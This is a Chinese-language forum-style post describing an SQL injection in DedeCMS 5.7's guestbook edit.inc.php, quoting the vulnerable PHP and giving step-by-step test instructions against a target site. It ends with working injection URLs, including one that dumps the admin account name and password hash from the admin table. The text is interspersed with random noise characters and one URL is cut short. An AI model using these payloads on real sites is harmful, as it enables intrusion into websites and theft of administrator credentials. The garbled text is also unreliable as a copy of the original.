影响版本为5.7" J) a" E' s( y4 d/ q
4 H6 x- b& l7 T漏洞文件edit.inc.php具体代码:
l; U" m. l" J9 t1 f2 B
6 r7 X+ A1 p F7 C' u6 b< ?php
/ Z. Y* e; V% Z: K+ S4 l2 y5 j+ F# l V4 E* t* K% k0 {9 C/ g
if(!defined('DEDEINC')) exit('Request Error!'); 1 a0 N& b% ~6 {' f3 ~
% }0 L- [) U( F7 @4 k ^" ^, G/ u: w3 i
3 D0 R. _# _' ?2 Z j' M/ O! Y+ |: S3 q
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
2 }7 i# n- L% C+ t# c! e5 |9 M# q; t
else $GUEST_BOOK_POS = "guestbook.php";
9 u1 d$ d& } ^: D4 u) M- ?9 U# u, L/ u- n2 Q3 w
, k& S! T C i. @% ^) A3 f
1 A4 L% o% M4 U( B' S1 d$id = intval($id);
0 C0 x3 I2 H$ a( v
; l! S! s. _, pif(empty($job)) $job='view'; : L; e% X$ f2 e% g( b8 `
1 p2 q* |4 o; K* |1 _5 h
+ U4 W, c: y' G2 M
1 x$ X7 @8 n7 S0 L/ ~ \if($job=='del' && $g_isadmin) - ]4 h `/ i& u7 ^5 F: c
8 D) W. N0 z- Z& h8 `* a
{
- M# b7 Z8 }" Y2 {0 G2 m
1 Q S( _, Y$ N% m9 t# d$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); : |7 J1 S' \; U' O, Z. {* o% m
( }; \, M. A# T
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
8 `4 H: z; l# {6 f+ H9 x9 d: g5 T- M; l! C! a3 d$ g
exit(); & Z! v6 S% g& g/ p$ \) O( M
/ Q) b, f' `- k6 F" Z
} / W& H. I2 K T
7 m, v+ X- |9 e9 L" Z
else if($job=='check' && $g_isadmin)
: p9 N: G* O1 z: }; X9 F5 R# R8 e* h4 y
{
h7 ?# y: o; k3 M4 k5 J6 }1 h7 G$ n6 N$ Q0 S1 D
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); 1 j- @5 i) J0 n6 V
3 v* G, Q% t! A. C4 n( `ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
5 D% G! O y' A/ w2 w6 b" w/ h, e
% M& c! X" k. x! l- j/ mexit(); 9 [3 T3 L, x* I+ p
8 m4 Q8 Y1 c! b L6 M% D} ) m }. d1 b! i$ N
& o" ]/ u" S* |' m9 Z) O6 Yelse if($job=='editok')
4 T# s3 f( r1 E
% W- v# W6 K3 T" b6 U2 \{
; O4 K# }' F, h$ H, X2 j+ s! y- y3 I! b' C0 B$ [
$remsg = trim($remsg); ; C, ?: o) _3 R$ N0 }( x+ F; P5 p
$ W, f) ^9 @% e% H, _
if($remsg!='')
2 n$ \! Z% i% ?% [% _0 x% `$ K4 j' \5 e) B ~5 r$ q
{
2 K1 u/ k0 ]0 F7 B8 I, Y, ^) Q* H8 K9 T* L% \7 D
//管理员回复不过滤HTML By:Errorera blog:errs.cc
" N: f5 K+ T2 Q/ V; `3 g8 E9 c% |5 H: \6 q( n/ S
if($g_isadmin) ' a; B: L% l+ j7 t
. _& {; Y- U0 I" I% g. v
{ * G& {! J( v# O
* I& U6 `) k5 c* F5 k
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; + H5 O. C) G: a( U
1 y& W1 V- Q. w) Q! `' _//$remsg <br /><font color=red>管理员回复:</font> }
! v/ t5 F$ U5 H5 A2 N3 ]9 E
; |- ~' s0 U+ O, felse
( @( H3 ^9 [ g3 W. w, q- [& }. }5 b S! c' m7 j2 k
{ # }3 N, _- n5 a( ~' T( r3 K4 T
7 ?" ~! t% ], a' y X
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); ) Q4 P) Z- ^5 o, L) Z Z& [ F. O
6 C: U, k% s3 ?' |+ K8 W6 J& }, d
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; 7 D* `/ r* [" m/ E4 h2 c8 q
! T; U! s8 h( B/ i+ |
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); 4 | j, d! |0 y* l
4 A, |4 ^: }9 k
$msg = $oldmsg.$remsg; 5 g1 z1 a& v# b. d* u
6 y6 ]/ S) o2 |3 [} 0 R+ e0 |9 k4 R- e6 s
, ?0 l1 M: H2 I# i& g} 2 u2 o; N7 X- k5 A
) o7 c0 p/ W0 A- k j+ y
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
h" Y6 g; c2 r9 n5 e- ]
3 m: C1 H! ]- F& N& E" d* m$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
! E. M! q6 Z- p0 G& c z6 P+ z# c8 Q% `) V3 ?' d& }
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); : q1 v- o; f% U D% Y
) S O! ^7 Y8 H: v# }$ U
exit();
0 f: O- E# N6 B+ l6 `2 q) a$ ^* v- C6 `+ _ N% b
}
( A, C+ h: o( r% v, M: e# \
, L; Q, x4 s( A# d L9 K//home:www.errs.cc
* R+ c4 c# Z: x7 a' g- }/ ?( Y8 C7 P* f {, z
if($g_isadmin) ; b3 W" y5 G# F9 V* U
. C5 j' ^( U' J& K{
- |# V' k4 H# s$ Y3 d2 T: |
% m; O* m1 X+ s$ v$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); " [) r- c, @" V8 P$ n
( r8 \6 z) Y# s! i. H, Frequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
+ H$ v, y; p! T9 T
# s0 L. j) x! U% {+ M( O- R4 S} 1 u4 R3 i/ }' Q5 Y6 d/ ^2 d
2 H9 \* z; O# m+ | O7 c8 ~else
5 X4 P$ z6 h8 q" Y! ^
. r- T+ @1 d% n4 o. h% K( B7 ?{
6 R X, w l5 X. Q0 D6 @: m3 x3 H* k
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
" M5 c5 K' m6 {5 }& ^# V- v3 ^+ I0 s* s' j7 X0 U8 H
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
9 h9 i- s, D6 U% [
4 u8 P4 U" `. T2 Q} 漏洞成功需要条件:
& C3 W# E7 X( A1. php magic_quotes_gpc=off+ d+ l9 S7 s- r% z% v2 v
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
% k" A1 N) }/ e( J7 r) I( a5 X- l7 G5 J6 C- R, J
怎么判断是否存在漏洞:
/ J* _) q$ V0 t s3 b( p先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,9 t7 O2 ]% ]& {0 j1 ~1 K
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
H0 o) e9 q! v5 W( y3 _访问:
* K- k3 b0 Y9 S; b7 s3 I) T, ?9 }4 x3 I& Q* C% T
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
$ @3 F+ a# m! i! k1 w+ v8 }3 j! r: O跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
# K3 ?( ~% p8 K |9 u1 B% }3 g. M
$ Q) s: Z( G( c) k( y0 b5 ^. Y* o: ^' T9 O1 c8 K `6 e7 \
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
1 C' M# u J5 i' S; P- K' \3 l1 ]如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
' g! x/ e _0 \5 R0 x$ O( T那么再次访问6 B9 f7 B2 }4 [6 Y: n8 u
' ?5 N* r- V8 \! j, Y) W: {www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().8 p* }/ V( \1 P3 k! d
( D+ Q/ Z4 `2 N2 V3 v, X# X4 O大概利用就是这样,大家有兴趣的多研究下!!' a2 H6 L: _1 M- i9 v1 i. i
0 O% j/ @6 k; ~9 C最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!' v# u; e7 D% V3 X8 j/ t' ~2 ]1 N5 W
: T" L5 ~# c4 ?# ^+ kview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |